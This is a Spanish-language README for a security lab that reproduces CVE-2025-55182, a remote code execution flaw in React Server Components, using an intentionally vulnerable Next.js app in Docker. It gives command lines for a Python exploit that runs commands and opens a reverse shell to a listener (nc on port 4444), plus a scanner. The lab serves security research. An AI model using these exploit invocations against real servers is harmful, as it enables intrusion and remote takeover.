
Este repositorio contiene un entorno completo para analizar y reproducir CVE-2025-55182, una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en React Server Components (RSC) que afecta a React 19.x y Next.js 15.x.
⚠️ ADVERTENCIA: Este proyecto contiene código vulnerable intencionalmente. NO lo despliegue en un servidor público ni en un entorno de producción.
react-server-dom-webpack, react-server-dom-turbopackLa vulnerabilidad reside en cómo el runtime de React Server Components procesa datos serializados de solicitudes HTTP (Server Actions). Un atacante puede crear una carga útil maliciosa del protocolo "Flight" que, al ser deserializada por el servidor, ejecuta código arbitrario antes de que ocurran las comprobaciones de autenticación.
react2shell/
├── vulnerable-app/ # Vulnerable Next.js 15 application
│ ├── app/
│ │ ├── actions.ts # Vulnerable Server Actions
│ │ └── page.tsx # UI for testing vulnerability
│ ├── Dockerfile # Container definition
│ └── package.json
├── exploit/ # Exploit tools
│ ├── exploit.py # Python PoC exploit
│ ├── scanner.py # Vulnerability scanner
│ └── quick_exploit.sh # Simple bash exploit
├── docs/ # Analysis documentation
└── docker-compose.yml # Isolated lab environment
Ejecute la aplicación vulnerable en un contenedor aislado:
docker-compose up -d --build
La aplicación estará disponible en http://localhost:3000.
Visite http://localhost:3000 en su navegador. Debería ver la interfaz "React2Shell Lab" con varios paneles de prueba:
Proporcionamos varias herramientas para probar la vulnerabilidad.
Instale los requisitos:
pip install -r exploit/requirements.txt
Compruebe si es vulnerable:
python3 exploit/exploit.py -u http://localhost:3000 --check
Ejecute un comando:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
Reverse Shell (requiere un listener, p. ej., nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
Escanee instancias vulnerables de React/Next.js:
python3 exploit/scanner.py -u http://localhost:3000
Para corregir esta vulnerabilidad en sus propias aplicaciones:
Actualice las Dependencias:
Verifique el Parche:
Revise package.json para asegurarse de que los paquetes react-server-dom-* estén actualizados.
Este proyecto es solo para fines educativos y de investigación en seguridad. Los autores no se hacen responsables del mal uso de este material.